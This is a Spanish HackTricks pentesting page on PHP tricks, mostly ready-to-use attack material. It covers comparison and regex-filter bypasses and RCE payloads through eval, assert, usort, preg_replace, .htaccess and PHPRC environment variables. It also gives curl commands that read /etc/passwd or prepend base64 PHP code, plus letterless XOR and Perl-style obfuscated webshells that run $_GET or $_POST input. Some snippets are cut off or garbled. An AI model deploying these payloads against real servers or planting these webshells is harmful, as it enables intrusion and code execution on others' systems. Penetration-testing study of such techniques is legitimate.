hacktricks/network-services-pentesting/pentesting-web/php-tricks-esp
2024-01-08 12:43:59 +00:00
..
php-useful-functions-disable_functions-open_basedir-bypass Translated ['network-services-pentesting/pentesting-printers/cross-site- 2024-01-08 12:43:59 +00:00
php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md Translated ['network-services-pentesting/pentesting-printers/cross-site- 2024-01-08 12:43:59 +00:00
php-ssrf.md Translated ['generic-methodologies-and-resources/exfiltration.md', 'gene 2023-09-03 01:16:15 +00:00
README.md Translated ['network-services-pentesting/pentesting-web/README.md', 'net 2023-12-31 02:48:25 +00:00

Trucos de PHP

Aprende a hackear AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Ubicación común de las cookies:

Esto también es válido para las cookies de phpMyAdmin.

Cookies:

PHPSESSID
phpMyAdmin

Ubicaciones:

/var/lib/php/sessions
/var/lib/php5/
/tmp/
Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e

Eludir comparaciones en PHP

Comparaciones flexibles/Manipulación de tipos ( == )

Si se utiliza == en PHP, entonces hay casos inesperados donde la comparación no se comporta como se espera. Esto se debe a que "==" solo compara valores transformados al mismo tipo, si también quieres comparar que el tipo de los datos comparados sea el mismo necesitas usar ===.

Tablas de comparación de PHP: https://www.php.net/manual/es/types.comparisons.php

{% file src="../../../.gitbook/assets/EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf" %}

  • "string" == 0 -> True Una cadena que no comienza con un número es igual a un número
  • "0xAAAA" == "43690" -> True Cadenas compuestas por números en formato dec o hex pueden compararse con otros números/cadenas con True como resultado si los números son iguales (los números en una cadena se interpretan como números)
  • "0e3264578" == 0 --> True Una cadena que comienza con "0e" y seguida de cualquier cosa será igual a 0
  • "0X3264578" == 0X --> True Una cadena que comienza con "0" y seguida de cualquier letra (X puede ser cualquier letra) y seguida de cualquier cosa será igual a 0
  • "0e12334" == "0" --> True Esto es muy interesante porque en algunos casos puedes controlar la entrada de cadena de "0" y algún contenido que está siendo hasheado y comparado con él. Por lo tanto, si puedes proporcionar un valor que creará un hash que comience con "0e" y sin ninguna letra, podrías eludir la comparación. Puedes encontrar cadenas ya hasheadas con este formato aquí: https://github.com/spaze/hashes
  • "X" == 0 --> True Cualquier letra en una cadena es igual a int 0

Más información en https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09

in_array()

Manipulación de tipos también afecta a la función in_array() por defecto (necesitas establecer en true el tercer argumento para hacer una comparación estricta):

$values = array("apple","orange","pear","grape");
var_dump(in_array(0, $values));
//True
var_dump(in_array(0, $values, true));
//False

strcmp()/strcasecmp()

Si esta función se utiliza para cualquier verificación de autenticación (como la comprobación de la contraseña) y el usuario controla un lado de la comparación, puede enviar un arreglo vacío en lugar de una cadena como valor de la contraseña (https://example.com/login.php/?username=admin&password[]=) y evadir esta verificación:

if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password

El mismo error ocurre con strcasecmp()

Conversión de Tipos Estricta

Incluso si se utiliza === podrían haber errores que hacen la comparación vulnerable a la conversión de tipos. Por ejemplo, si la comparación convierte los datos a un tipo de objeto diferente antes de comparar:

(int) "1abc" === (int) "1xyz" //This will be true

preg_match(/^.*/)

preg_match() podría usarse para validar la entrada del usuario (verifica si alguna palabra/regex de una lista negra está presente en la entrada del usuario y si no está, el código puede continuar su ejecución).

Omisión de nueva línea

Sin embargo, al delimitar el inicio de la regexp preg_match() solo verifica la primera línea de la entrada del usuario, entonces, si de alguna manera puedes enviar la entrada en varias líneas, podrías ser capaz de omitir esta verificación. Ejemplo:

$myinput="aaaaaaa
11111111"; //Notice the new line
echo preg_match("/1/",$myinput);
//1  --> In this scenario preg_match find the char "1"
echo preg_match("/1.*$/",$myinput);
//1  --> In this scenario preg_match find the char "1"
echo preg_match("/^.*1/",$myinput);
//0  --> In this scenario preg_match DOESN'T find the char "1"
echo preg_match("/^.*1.*$/",$myinput);
//0  --> In this scenario preg_match DOESN'T find the char "1"

Para eludir esta comprobación podrías enviar el valor con nuevas líneas codificadas en URL (%0A) o si puedes enviar datos JSON, envíalos en varias líneas:

{
"cmd": "cat /etc/passwd"
}

Encuentra un ejemplo aquí: https://ramadistra.dev/fbctf-2019-rceservice

Bypass de error de longitud

(Este bypass se probó aparentemente en PHP 5.2.5 y no pude hacerlo funcionar en PHP 7.3.15)
Si puedes enviar a preg_match() una entrada válida muy grande, no podrá procesarla y podrás bypass la verificación. Por ejemplo, si está en la lista negra un JSON, podrías enviar:

payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'

ReDoS Bypass

En resumen, el problema ocurre porque las funciones preg_* en PHP se basan en la biblioteca PCRE. En PCRE, ciertas expresiones regulares se emparejan utilizando muchos llamados recursivos, lo que consume mucho espacio de pila. Es posible establecer un límite en la cantidad de recursiones permitidas, pero en PHP este límite por defecto es de 100.000, lo cual es más de lo que cabe en la pila.

Este hilo de Stackoverflow también fue vinculado en la publicación donde se habla más en profundidad sobre este problema. Nuestra tarea ahora era clara:
Enviar una entrada que hiciera que la regex realice 100_000+ recursiones, causando SIGSEGV, haciendo que la función preg_match() devuelva false y así hacer que la aplicación piense que nuestra entrada no es maliciosa, lanzando la sorpresa al final del payload algo como {system(<verybadcommand>)} para obtener SSTI --> RCE --> flag :).

Bueno, en términos de regex, en realidad no estamos haciendo 100k "recursiones", sino que estamos contando "pasos de retroceso", que como indica la documentación de PHP, por defecto es de 1_000_000 (1M) en la variable pcre.backtrack_limit.
Para alcanzar eso, 'X'*500_001 resultará en 1 millón de pasos de retroceso (500k hacia adelante y 500k hacia atrás):

payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"

Uso de Type Juggling para ofuscación en PHP

$obfs = "1"; //string "1"
$obfs++; //int 2
$obfs += 0.2; //float 2.2
$obfs = 1 + "7 IGNORE"; //int 8
$obfs = "string" + array("1.1 striiing")[0]; //float 1.1
$obfs = 3+2 * (TRUE + TRUE); //int 7
$obfs .= ""; //string "7"
$obfs += ""; //int 7

Ejecución Después de Redirección (EAR)

Si PHP está redirigiendo a otra página pero no se llama a la función die o exit después de que se establece el encabezado Location, PHP continúa ejecutando y añadiendo los datos al cuerpo:

<?php
// In this page the page will be read and the content appended to the body of
// the redirect response
$page = $_GET['page'];
header('Location: /index.php?page=default.html');
readfile($page);
?>

Más trucos

  • register_globals: En PHP < 4.1.1.1 o si está mal configurado, register_globals puede estar activo (o su comportamiento está siendo imitado). Esto implica que en variables globales como $_GET si tienen un valor, por ejemplo $_GET["param"]="1234", puedes acceder a él a través de $param. Por lo tanto, al enviar parámetros HTTP puedes sobrescribir variables que se utilizan dentro del código.
  • Las cookies PHPSESSION del mismo dominio se almacenan en el mismo lugar, por lo tanto, si dentro de un dominio se utilizan diferentes cookies en diferentes rutas puedes hacer que una ruta acceda a la cookie de la otra ruta estableciendo el valor de la cookie de la otra ruta.
    De esta manera, si ambas rutas acceden a una variable con el mismo nombre puedes hacer que el valor de esa variable en la ruta1 se aplique a la ruta2. Y entonces la ruta2 tomará como válidas las variables de la ruta1 (dándole a la cookie el nombre que le corresponde en la ruta2).
  • Cuando tienes los nombres de usuario de los usuarios de la máquina. Comprueba la dirección: /~<USERNAME> para ver si los directorios php están activados.
  • LFI y RCE usando envoltorios de php

password_hash/password_verify

Estas funciones se utilizan típicamente en PHP para generar hashes de contraseñas y para verificar si una contraseña es correcta en comparación con un hash.
Los algoritmos soportados son: PASSWORD_DEFAULT y PASSWORD_BCRYPT (comienza con $2y$). Ten en cuenta que PASSWORD_DEFAULT frecuentemente es lo mismo que PASSWORD_BCRYPT. Y actualmente, PASSWORD_BCRYPT tiene una limitación de tamaño en la entrada de 72bytes. Por lo tanto, cuando intentas hashear algo más grande que 72bytes con este algoritmo, solo se utilizarán los primeros 72B:

$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
False

$cont=72; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
True

Elusión de cabeceras HTTP abusando de errores de PHP

Si una página PHP está mostrando errores y devolviendo algún input proporcionado por el usuario, el usuario puede hacer que el servidor PHP devuelva contenido lo suficientemente largo para que, cuando intente añadir las cabeceras a la respuesta, el servidor arroje un error.
En el siguiente escenario, el atacante provocó que el servidor generara errores grandes, y como puedes ver en la pantalla, cuando PHP intentó modificar la información de la cabecera, no pudo (así que, por ejemplo, la cabecera CSP no fue enviada al usuario):

Ejecución de código

system("ls");
`ls`;
shell_exec("ls");

Consulta esto para más funciones útiles de PHP

RCE a través de preg_replace()

preg_replace(pattern,replace,base)
preg_replace("/a/e","phpinfo()","whatever")

Para ejecutar el código en el argumento "replace" se necesita al menos una coincidencia. Esta opción de preg_replace ha sido obsoleta a partir de PHP 5.5.0.

RCE via Eval()

'.system('uname -a'); $dummy='
'.system('uname -a');#
'.system('uname -a');//
'.phpinfo().'
<?php phpinfo(); ?>

RCE a través de Assert()

Esta función dentro de php te permite ejecutar código que está escrito en una cadena para devolver verdadero o falso (y dependiendo de esto alterar la ejecución). Usualmente la variable de usuario será insertada en medio de una cadena. Por ejemplo:
assert("strpos($_GET['page']),'..') === false") --> En este caso para obtener RCE podrías hacer:

?page=a','NeVeR') === false and system('ls') and strpos('a

Necesitarás romper la sintaxis del código, añadir tu payload y luego repararlo. Puedes usar operaciones lógicas como "and" o "%26%26" o "|". Ten en cuenta que "or", "||" no funciona porque si la primera condición es verdadera, nuestro payload no se ejecutará. De la misma manera, ";" no funciona ya que nuestro payload no se ejecutará.

Otra opción es añadir a la cadena la ejecución del comando: '.highlight_file('.passwd').'

Otra opción (si tienes el código interno) es modificar alguna variable para alterar la ejecución: $file = "hola"

RCE a través de usort()

Esta función se utiliza para ordenar un array de elementos utilizando una función específica.
Para abusar de esta función:

<?php usort(VALUE, "cmp"); #Being cmp a valid function ?>
VALUE: );phpinfo();#

<?php usort();phpinfo();#, "cmp"); #Being cmp a valid function ?>
<?php
function foo($x,$y){
usort(VALUE, "cmp");
}?>
VALUE: );}[PHP CODE];#

<?php
function foo($x,$y){
usort();}phpinfo;#, "cmp");
}?>

También puedes usar // para comentar el resto del código.

Para descubrir el número de paréntesis que necesitas cerrar:

  • ?order=id;}//: obtenemos un mensaje de error (Parse error: syntax error, unexpected ';'). Probablemente nos falten uno o más corchetes.
  • ?order=id);}//: obtenemos una advertencia. Eso parece correcto.
  • ?order=id));}//: obtenemos un mensaje de error (Parse error: syntax error, unexpected ')' i). Probablemente tengamos demasiados corchetes de cierre.

RCE a través de .httaccess

Si puedes subir un .htaccess, entonces puedes configurar varias cosas e incluso ejecutar código (configurando que los archivos con extensión .htaccess puedan ser ejecutados).

Diferentes shells de .htaccess se pueden encontrar aquí

RCE a través de Variables de Entorno

Si encuentras una vulnerabilidad que te permita modificar variables de entorno en PHP (y otra para subir archivos, aunque con más investigación quizás se pueda evitar), podrías abusar de este comportamiento para obtener RCE.

  • LD_PRELOAD: Esta variable de entorno te permite cargar bibliotecas arbitrarias al ejecutar otros binarios (aunque en este caso podría no funcionar).
  • PHPRC : Indica a PHP dónde localizar su archivo de configuración, generalmente llamado php.ini. Si puedes subir tu propio archivo de configuración, entonces, usa PHPRC para dirigir a PHP hacia él. Añade una entrada de auto_prepend_file especificando un segundo archivo subido. Este segundo archivo contiene código PHP normal, que luego es ejecutado por el tiempo de ejecución de PHP antes de cualquier otro código.
  1. Sube un archivo PHP que contenga nuestro shellcode
  2. Sube un segundo archivo, que contenga una directiva de auto_prepend_file instruyendo al preprocesador de PHP para ejecutar el archivo que subimos en el paso 1
  3. Establece la variable PHPRC al archivo que subimos en el paso 2.
  • Obtén más información sobre cómo ejecutar esta cadena desde el informe original.
  • PHPRC - otra opción
  • Si no puedes subir archivos, podrías usar en FreeBSD el archivo /dev/fd/0 que contiene el stdin, siendo el cuerpo de la solicitud enviada al stdin:
  • curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'
  • O para obtener RCE, habilita allow_url_include y antepone un archivo con código PHP en base64:
  • curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'
  • Técnica de este informe.

Análisis Estático de PHP

Mira si puedes insertar código en llamadas a estas funciones (de aquí):

exec, shell_exec, system, passthru, eval, popen
unserialize, include, file_put_cotents
$_COOKIE | if #This mea

Si estás depurando una aplicación PHP puedes habilitar globalmente la impresión de errores en /etc/php5/apache2/php.ini agregando display_errors = On y reiniciar apache: sudo systemctl restart apache2

Desofuscar código PHP

Puedes usar la web www.unphp.net para desofuscar código php.

Envoltorios y Protocolos de PHP

Los envoltorios y protocolos de PHP podrían permitirte burlar las protecciones de escritura y lectura en un sistema y comprometerlo. Para más información consulta esta página.

Xdebug RCE sin autenticación

Si ves que Xdebug está habilitado en un resultado de phpconfig() deberías intentar obtener RCE a través de https://github.com/nqxcode/xdebug-exploit

Variables variables

$x = 'Da';
$$x = 'Drums';

echo $x; //Da
echo $$x; //Drums
echo $Da; //Drums
echo "${Da}"; //Drums
echo "$x ${$x}"; //Da Drums
echo "$x ${Da}"; //Da Drums

RCE abusando de new $_GET["a"]($_GET["b"])

Si en una página puedes crear un nuevo objeto de una clase arbitraria podrías ser capaz de obtener RCE, consulta la siguiente página para aprender cómo:

{% content-ref url="php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md" %} php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md {% endcontent-ref %}

Ejecutar PHP sin letras

https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/

Usando octal

$_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #system(cat .passwd);

XOR

$_=("%28"^"[").("%33"^"[").("%34"^"[").("%2c"^"[").("%04"^"[").("%28"^"[").("%34"^"[").("%2e"^"[").("%29"^"[").("%38"^"[").("%3e"^"["); #show_source
$__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3b"^"_"); #.passwd
$___=$__; #Could be not needed inside eval
$_($___); #If ¢___ not needed then $_($__), show_source(.passwd)

Código shell XOR fácil

Según este informe es posible generar un código shell fácil de esta manera:

$_="`{{{"^"?<>/"; // $_ = '_GET';
${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);

$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);

Entonces, si puedes ejecutar PHP arbitrario sin números ni letras puedes enviar una solicitud como la siguiente abusando de ese payload para ejecutar PHP arbitrario:

POST: /action.php?_=system&__=cat+flag.php
Content-Type: application/x-www-form-urlencoded

comando=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);

Para una explicación más detallada, consulta https://ctf-wiki.org/web/php/php/#preg_match

XOR Shellcode (dentro de eval)

#!/bin/bash

if [[ -z $1 ]]; then
echo "USAGE: $0 CMD"
exit
fi

CMD=$1
CODE="\$_='\
lt;>/'^'{{{{';\${\$_}[_](\${\$_}[__]);" `$_='
lt;>/'^'{{{{'; --> _GET` `${$_}[_](${$_}[__]); --> $_GET[_]($_GET[__])` `So, the function is inside $_GET[_] and the parameter is inside $_GET[__]` http --form POST "http://victim.com/index.php?_=system&__=$CMD" "input=$CODE"

Al estilo Perl

<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks: